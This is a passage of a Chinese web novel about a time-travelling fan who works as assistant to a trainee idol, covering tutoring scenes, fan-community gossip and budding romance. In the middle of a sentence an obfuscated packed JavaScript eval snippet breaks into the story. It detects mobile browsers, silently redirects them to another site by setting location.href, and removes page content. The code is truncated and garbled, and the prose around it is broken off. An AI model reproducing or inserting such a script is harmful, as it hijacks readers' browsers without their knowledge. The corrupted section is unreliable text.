这种流程一旦走第一步,那整个粉圈在对家面前都要抬不起头了。 邹意反思了一下,如果因为段暮炀因为谈恋爱导致邹意的同担们每次在公共组里打架都要灰头土脸,那邹意也会骂的。 想想就害怕,她当了这么多年粉丝,私联瓜也吃了不止一个,这方面她是专业的,绝对不能忘本。 而且,她就是那种普通的粉丝心态,崇拜、欣赏,这也不叫喜欢吧,粉丝见到自担,心跳过速也是正常的,跟他讲话会脸热也是正常的,没错没错。喜欢的分量不是那么轻的,她还没到那个程度。 46. 邹意就这么自我催眠到天亮,只睡着了大概一个多小时,就被外面小孩子玩闹的声音吵醒。 一看手机才知道都要十点了,妈呀真是又丢人丢大了,哪有当助理的比老板还晚起床的,分分钟都露馅。 邹意没想到,练习生时期,段暮炀的人气在县城里比在网上还高。 她洗漱完一出院子,就看到三四个小孩靠着石桌子,围在段暮炀身边,不知道是不是在问一些让他为难的问题,比如哥哥当明星了赚多少钱这样的问题。 邹意一下子提起警惕,一门心思就要过去解围。 走近一些才听到,小段老师在开课呢。 ——“哥哥,这道题,为什么没算就知道要乘上1.1呢。” ——“你看啊,这里,这是增长率百分之十,加上1,就是1.1。” ——“段哥哥,你看看我的,这里我不知道我错在哪里。” ——“你把这条辅助线画错了,是A点到C点,你连到B去了。” ——“哥哥,你好厉害啊,怪不得晓茹奶奶说你以前成绩可好了。” 巷子口突然窜过来一只小土狗,邹意没注意吓了一跳,猜到了脚边的石头,往前踉跄了一步,头撞到段暮炀的后背。 段暮炀身边的小孩用一种匪夷所思的目光看邹意,邹意尴尬地朝他们微笑了一下。 “你们好,你们好,早上好,不好意思,小段老师你继续,我就是出来看看,你们继续。”邹意假笑,乐呵呵地说。 县城的空气好,阳光也好,斜照在段暮炀肩膀上,仔细看还能看见光束中的灰尘,段暮炀也看着她,然后突然伸手在她额头那里碰了一下。 “你这里红了,很疼吗?”他说。 邹意想说不疼,一点都不疼,但是没有讲出话,只是一味地像拨浪鼓一样摇头,然后马上转身,跑回了院子。 她贴着墙壁大口呼吸,手放在胸口,又摸摸自己的额头。 老天啊,她这肯定无罪吧,追星嘛,有点非分之想也无可厚非,邹意也没想过自己会穿越到段暮炀还没出道的时候。 更没想到,这个人私底下是这样的,不像在台上一样表现得让人无可挑剔,也不像其他时间一样感情冷漠,总让粉丝觉得不会媚互动感不足。他明明很会啊,如果段暮炀把最近这些融会贯通一下,师夷长技以制夷,怎么可能会被喷不媚粉? 47. 手机突然弹出来消息,是刘小樱发的。 【天环娱乐—世界级的cherry:一个好消息,一个坏消息,你听哪个】 【粥:坏的】 先听听坏消息,然后再用好消息安慰一下,如果好消息更好就开心一些,如果坏消息更坏就当抵消了。 【天环娱乐—世界级的cherry:坏消息就是,你家小段又被上面点名了,说散粉在地铁站和公司楼下投那么多应援,前辈粉很膈应,而且没出道就这样很容易引起路人逆反。。。。】 脸都要笑烂,皇族妈会生气黑子骂自担皇族吗?每次粉圈打皇族,邹意都在一边急,打皇族不就是让皇族妈越打越爽吗?谁会不想自担待遇好资源咖呢……有段时间也是被洗脑包忽悠瘸了,以为段暮炀是真皇族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351945|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 现在就拿粉丝砸钱出来说事了,天环其实心里暗爽吧,一个段暮炀就能让粉丝们这样砸钱,天环想了一下觉得新男团出道真的能登顶了,醒醒吧!放段暮炀到那个团里拖飞机邹意豆嫌累得慌,只剩下袁子凡一个能看的。 还有前辈粉,太酸了就非得出来嘲几句,承认别人家的死忠粉很多很难吗?前辈粉又不是前辈,追个星还整上前后辈文化了,这么会讲不如去搞文艺复兴。 邹意在心里默默骂完才回 【粥:腥风血雨体质不是说着玩的,这个阶段,有点讨论度总比红黑俱灭好,舆论等我下午来控。。。】 【粥:好消息呢?别告诉我好消息就是散粉投了应援,我要不包含关系的好消息】 【天环娱乐—世界级的cherry:(捂嘴笑)(捂嘴笑)新人部来了个新领导!对接练习生的】 【粥:你疯了?上班上魔怔了?来个领导算什么好消息啊!!!】 【天环娱乐—世界级的cherry:喂!我告诉你,那个新领导,吴总,刚刚上任,社交媒体就点赞了段暮炀的单人宣传视频!只点赞他一个什么含金量啊!而且,而且!我刚刚瞄到吴总电脑,他在改新人预案的ppt啊啊啊啊!!你还不懂吗小邹邹!】 【天环娱乐—世界级的cherry:咱家小段真的是要熬出头了,为母欣慰啊!姐姐我终于是等到今天了!!】 邹意当然懂了,这个含金量,好像有些恍惚,看来这个世界也不只是她一个人在想救段暮炀。 还有,刘小樱确实是她的同担没错,虽然是公司的员工,披上几层小号的皮,也能当世界级的妈粉征战豆瓣公共组。 虽然距离很近,喊一声就能听见,但是邹意还是选择打开段暮炀的聊天框,实在没忍住给他发了一串。 【粥:啊啊啊啊啊啊啊啊啊啊啊啊】 【粥:谁懂啊!!!我告诉你,你真的要火了!!】 邹意低着头打字,突然看见一双熟悉的鞋,抬眼看见了段暮炀的脸。 段暮炀果然比她稳重一些,没有一下就因为好消息发疯,邹意正想跟他慢慢解释,新来的领导是如何在一众介绍视频里只用大号点赞了他一个,这个举动又是何等深意,外加前线播报,最新预案的消息… 邹意理了一下思路:“我告诉你一个天大的好消息!你等等我截个图片再一起发给你。” 段暮炀好像皱了一下眉,可能希望邹意动作快一点:“要打字告诉我吗?” “啊?”邹意盯着手机等刘小樱信息的头抬起来。 “怎么不能直接说,我在你面前还要打字,这么不想跟我讲话吗?” 邹意的心像是被捏了起来,段暮炀总是用很淡的语气讲这种话,让她觉得自己真的做错了一样! “没有没有,我…我习惯了嘛!”以前也不是天天能见面的关系啊,邹意心里嘀咕。 “哦,这样,我不习惯。”